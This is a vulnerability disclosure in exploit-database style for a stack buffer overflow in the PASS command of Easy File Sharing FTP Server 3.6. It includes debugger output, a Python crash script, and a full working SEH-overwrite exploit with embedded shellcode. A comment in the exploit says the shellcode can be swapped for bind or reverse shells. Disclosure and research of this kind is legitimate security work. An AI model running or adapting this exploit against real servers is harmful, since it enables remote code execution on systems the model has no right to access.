Easy File Sharing FTP Server 3.6 Stack Buffer Overflow

# Exploit Title: Easy File Sharing FTP Server 3.6 (0day) - Stack Overflow
# Date: 13-12-2015
# Exploit Author: @zeifan
# Vendor Homepage: http://www.sharing-file.com/products.htm
# Software Link: http://www.efssoft.com/efsfs.exe
# Version: 3.6 (REQUIRED)
# Tested on: Windows 7 SP1 x86
# CVE : No CVE (Vendor contacted, no response)


1. Description
===============
To trigger the vulnerability, we need to send buffer more than 3000 bytes. Vulnerable part is the "PASS" input. So in this case the target should be like e.g. (Python): 
	
	reqftp += "A" * 3000
	... code cut here ...
	s.send("PASS " + reqftp + "\r\n")
	
However, before sending the buffer to "PASS" input, we need to escaped a character by using "\x2c", example below. Further info, https://www.cleo.com/support/byproduct/lexicom/usersguide/ftp_configuration.htm. 

	reqftp = "\x2c" + "A" * 3000

Upon overflowing, it will stop here at this function: 

0046C18C  /$ 56             PUSH ESI
0046C18D  |. 57             PUSH EDI
0046C18E  |. 8B7C24 0C      MOV EDI,DWORD PTR SS:[ESP+C]
0046C192  |. 8BF1           MOV ESI,ECX
0046C194  |. 8B0E           MOV ECX,DWORD PTR DS:[ESI]
0046C196  |. 8B07           MOV EAX,DWORD PTR DS:[EDI]
0046C198  |. 3BC8           CMP ECX,EAX
0046C19A  |. 74 39          JE SHORT fsfs.0046C1D5
0046C19C  |. 8379 F4 00     CMP DWORD PTR DS:[ECX-C],0
0046C1A0  |. 7D 0B          JGE SHORT fsfs.0046C1AD
0046C1A2  |. 83C1 F4        ADD ECX,-0C
0046C1A5  |. 3B0D 78A04900  CMP ECX,DWORD PTR DS:[49A078]            ;  fsfs.0049A07C
0046C1AB  |. 75 06          JNZ SHORT fsfs.0046C1B3
0046C1AD  |> 8378 F4 00     CMP DWORD PTR DS:[EAX-C],0		<--- EIP 

Continuing the execution by pressing "Shift + F9" (Immunity Debugger) will overwrite the EIP, e.g. (Register):

EAX 00000000
ECX 41414141
EDX 777771CD ntdll.777771CD
EBX 00000000
ESP 04279D18
EBP 04279D38
ESI 00000000
EDI 00000000
EIP 41414141

Below are the proof of concept to trigger overflow as well to control the EIP.

	# Trigger overflow
	import socket, sys

	if len(sys.argv) <= 1:
		print "Usage: poc.py <target_ip> <target_port>"
		exit(1)
	ip = sys.argv[1]
	port = int(sys.argv[2])
	
	reqftp = "\x2c" + "A" * 3000
	reqftp += "\x42"*30

	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((ip, port))
	s.recv(1024)
	s.send("USER anonymous\r\n")
	s.recv(1024)
	s.send("PASS " + reqftp + "\r\n")
	s.recv(1024)
	s.close()
	
	
2. Proof of Concept (Working Exploit - SEH)

	# Crafted for fun and polishing skillz!
	# @zeifan
	import sys, socket, struct

	if len(sys.argv) <= 1:
		print "\nEasy File Sharing FTP Server 3.6 Stack Overflow - @zeifan"
		print "\nUsage: poc.py <target_ip> <port>\n"
		exit()
	ip = sys.argv[1]
	port = int(sys.argv[2])	
	
	# Shellcode can be change to any (bind, reverse, etc.)
	# Hello World MessageBoxW Shellcode
	# https://www.exploit-db.com/exploits/37758/
	shellcode = ("\x33\xc9\x64\x8b\x49\x30\x8b\x49\x0c\x8b" +
		"\x49\x1c\x8b\x59\x08\x8b\x41\x20\x8b\x09" +
		"\x80\x78\x0c\x33\x75\xf2\x8b\xeb\x03\x6d" +
		"\x3c\x8b\x6d\x78\x03\xeb\x8b\x45\x20\x03" +
		"\xc3\x33\xd2\x8b\x34\x90\x03\xf3\x42\x81" +
		"\x3e\x47\x65\x74\x50\x75\xf2\x81\x7e\x04" +
		"\x72\x6f\x63\x41\x75\xe9\x8b\x75\x24\x03" +
		"\xf3\x66\x8b\x14\x56\x8b\x75\x1c\x03\xf3" +
		"\x8b\x74\x96\xfc\x03\xf3\x33\xff\x57\x68" +
		"\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68" +
		"\x4c\x6f\x61\x64\x54\x53\xff\xd6\x33\xc9" +
		"\x57\x66\xb9\x33\x32\x51\x68\x75\x73\x65" +
		"\x72\x54\xff\xd0\x57\x68\x6f\x78\x41\x01" +
		"\xfe\x4c\x24\x03\x68\x61\x67\x65\x42\x68" +
		"\x4d\x65\x73\x73\x54\x50\xff\xd6\x57\x68" +
		"\x72\x6c\x64\x21\x68\x6f\x20\x57\x6f\x68" +
		"\x48\x65\x6c\x6c\x8b\xcc\x57\x57\x51\x57" +
		"\xff\xd0\x57\x68\x65\x73\x73\x01\xfe\x4c" +
		"\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78" +
		"\x69\x74\x54\x53\xff\xd6\x57\xff\xd0"
	)

	# Escaped character + Buffer 
	reqftp = "\x2c" + "\x41" * 2559

	# 16 bytes SEH
	reqftp += "\xeb\x10\x90\x90"  
	
	# 0x100182d3 : {pivot 8 / 0x08}
	# POP EBP 
	# MOV EAX,1 
	# POP EBX 
	# RETN
	reqftp += struct.pack("<I", 0x100182d3) 
	reqftp += "\x42" * 100
	reqftp += shellcode

	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((ip, port))
	print "\nMessageBox will pop up!"
	s.recv(1024)
	s.send("USER anonymous\r\n")
	s.recv(1024)
	s.send("PASS " + reqftp + "\r\n")
	s.recv(1024)
	s.close()
	

3. Solutions
No solution as the affected software are the latest update (at least from the site).


*** Shout to Yeh, yodan, Lai, KS, t1nk3r, JinJin ***